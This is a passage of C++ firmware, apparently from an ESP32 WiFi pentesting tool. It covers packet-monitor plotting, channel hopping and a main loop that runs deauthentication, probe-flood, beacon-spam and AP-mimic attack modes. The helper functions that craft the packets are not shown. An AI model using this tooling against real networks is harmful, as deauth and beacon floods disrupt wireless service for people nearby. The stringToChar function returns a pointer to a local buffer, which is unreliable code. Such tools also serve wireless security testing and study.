  2022. //Serial.println("num_beacon: " + (String)num_beacon);
  2023. //Serial.println("num_deauth: " + (String)num_deauth);
  2024. //Serial.println(" num_probe: " + (String)num_probe);
  2025. num_beacon = 0;
  2026. num_probe = 0;
  2027. num_deauth = 0;
  2028. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2029. //Plot "X" value
  2030. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2031. //Plot "Z" value
  2032. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2033. //Plot "Y" value
  2034. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2035. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2036. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2037. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2038. {
  2039. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2040. }
  2041. else
  2042. {
  2043. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2044. }
  2045. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2046. //if (x_pos <= 90)
  2047. if (x_pos < 0) // below x axis
  2048. {
  2049. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2050. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2051. }
  2052. else
  2053. {
  2054. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2055. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2056. }
  2057. //tftDisplayTime();
  2058. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2059. {
  2060. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2061. }
  2062. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2063. y_pos_y_old = y_pos_y;
  2064. y_pos_z_old = y_pos_z;
  2065. //delay(50);
  2066. }
  2067. sd_obj.main();
  2068. }
  2069. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2070. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2071. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2072. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2073. display_obj.tftDrawYScaleButtons(y_scale);
  2074. display_obj.tftDrawChannelScaleButtons(set_channel);
  2075. display_obj.tftDrawExitScaleButtons();
  2076. display_obj.tftDrawColorKey();
  2077. display_obj.tftDrawGraphObjects(x_scale);
  2078. }
  2079. #endif
  2080. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2081. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2082. // showMetadata(snifferPacket, type);
  2083. //}
  2084. void WiFiScan::changeChannel()
  2085. {
  2086. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2087. delay(1);
  2088. }
  2089. // Function to cycle to the next channel
  2090. void WiFiScan::channelHop()
  2091. {
  2092. this->set_channel = this->set_channel + 1;
  2093. if (this->set_channel > 13) {
  2094. this->set_channel = 1;
  2095. }
  2096. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2097. delay(1);
  2098. }
  2099. char* WiFiScan::stringToChar(String string) {
  2100. char buf[string.length() + 1] = {};
  2101. string.toCharArray(buf, string.length() + 1);
  2102. return buf;
  2103. }
  2104. // Function for updating scan status
  2105. void WiFiScan::main(uint32_t currentTime)
  2106. {
  2107. // WiFi operations
  2108. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2109. (currentScanMode == WIFI_SCAN_AP) ||
  2110. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2111. (currentScanMode == WIFI_SCAN_PWN) ||
  2112. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2113. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2114. (currentScanMode == WIFI_SCAN_ALL))
  2115. {
  2116. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2117. {
  2118. initTime = millis();
  2119. channelHop();
  2120. }
  2121. }
  2122. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2123. {
  2124. #ifdef HAS_SCREEN
  2125. packetMonitorMain(currentTime);
  2126. #endif
  2127. }
  2128. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2129. {
  2130. #ifdef HAS_SCREEN
  2131. eapolMonitorMain(currentTime);
  2132. #endif
  2133. }
  2134. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2135. for (int i = 0; i < 55; i++)
  2136. this->sendProbeAttack(currentTime);
  2137. if (currentTime - initTime >= 1000) {
  2138. initTime = millis();
  2139. String displayString = "";
  2140. String displayString2 = "";
  2141. displayString.concat(text18);
  2142. displayString.concat(packets_sent);
  2143. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2144. displayString2.concat(" ");
  2145. #ifdef HAS_SCREEN
  2146. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2147. display_obj.showCenterText(displayString2, 160);
  2148. display_obj.showCenterText(displayString, 160);
  2149. #endif
  2150. packets_sent = 0;
  2151. }
  2152. }
  2153. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2154. for (int i = 0; i < 55; i++)
  2155. this->sendDeauthAttack(currentTime);
  2156. if (currentTime - initTime >= 1000) {
  2157. initTime = millis();
  2158. String displayString = "";
  2159. String displayString2 = "";
  2160. displayString.concat(text18);
  2161. displayString.concat(packets_sent);
  2162. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2163. displayString2.concat(" ");
  2164. #ifdef HAS_SCREEN
  2165. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2166. display_obj.showCenterText(displayString2, 160);
  2167. display_obj.showCenterText(displayString, 160);
  2168. #endif
  2169. packets_sent = 0;
  2170. }
  2171. }
  2172. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2173. // Need this for loop because getTouch causes ~10ms delay
  2174. // which makes beacon spam less effective
  2175. for (int i = 0; i < access_points->size(); i++) {
  2176. if (access_points->get(i).selected)
  2177. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2178. random(256),
  2179. random(256),
  2180. random(256),
  2181. random(256),
  2182. random(256)}});
  2183. }
  2184. if (currentTime - initTime >= 1000)
  2185. {
  2186. initTime = millis();
  2187. //Serial.print("packets/sec: ");
  2188. //Serial.println(packets_sent);
  2189. String displayString = "";
  2190. String displayString2 = "";
  2191. displayString.concat(text18);
  2192. displayString.concat(packets_sent);
  2193. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2194. displayString2.concat(" ");
  2195. #ifdef HAS_SCREEN
  2196. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2197. display_obj.showCenterText(displayString2, 160);
  2198. display_obj.showCenterText(displayString, 160);
  2199. #endif
  2200. packets_sent = 0;
  2201. }
  2202. }
  2203. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2204. {
  2205. // Need this for loop because getTouch causes ~10ms delay
  2206. // which makes beacon spam less effective
  2207. for (int i = 0; i < 55; i++)
  2208. broadcastRandomSSID(currentTime);
  2209. if (currentTime - initTime >= 1000)
  2210. {
  2211. initTime = millis();
  2212. //Serial.print("packets/sec: ");
  2213. //Serial.println(packets_sent);
  2214. String displayString = "";
  2215. String displayString2 = "";
  2216. displayString.concat(text18);
  2217. displayString.concat(packets_sent);
  2218. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2219. displayString2.concat(" ");
  2220. #ifdef HAS_SCREEN
  2221. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2222. display_obj.showCenterText(displayString2, 160);
  2223. display_obj.showCenterText(displayString, 160);
  2224. #endif
  2225. packets_sent = 0;
  2226. }
  2227. }
  2228. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2229. for (int i = 0; i < ssids->size(); i++)
  2230. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2231. if (currentTime - initTime >= 1000)
  2232. {
  2233. initTime = millis();
  2234. packets_sent = 0;
  2235. }
  2236. }
  2237. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2238. for (int i = 0; i < access_points->size(); i++)
  2239. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2240. if (currentTime - initTime >= 1000) {
  2241. initTime = millis();
  2242. packets_sent = 0;
  2243. }
  2244. }
  2245. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2246. {
  2247. // Need this for loop because getTouch causes ~10ms delay
  2248. // which makes beacon spam less effective
  2249. for (int i = 0; i < 7; i++)
  2250. {
  2251. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2252. {
  2253. broadcastSetSSID(currentTime, rick_roll[x]);
  2254. }
  2255. }
  2256. if (currentTime - initTime >= 1000)
  2257. {
  2258. initTime = millis();
  2259. //Serial.print("packets/sec: ");
  2260. //Serial.println(packets_sent);
  2261. String displayString = "";
  2262. String displayString2 = "";
  2263. displayString.concat(text18);
  2264. displayString.concat(packets_sent);
  2265. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2266. displayString2.concat(" ");
  2267. #ifdef HAS_SCREEN
  2268. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2269. display_obj.showCenterText(displayString2, 160);
  2270. display_obj.showCenterText(displayString, 160);
  2271. #endif
  2272. packets_sent = 0;
  2273. }
  2274. }
  2275. }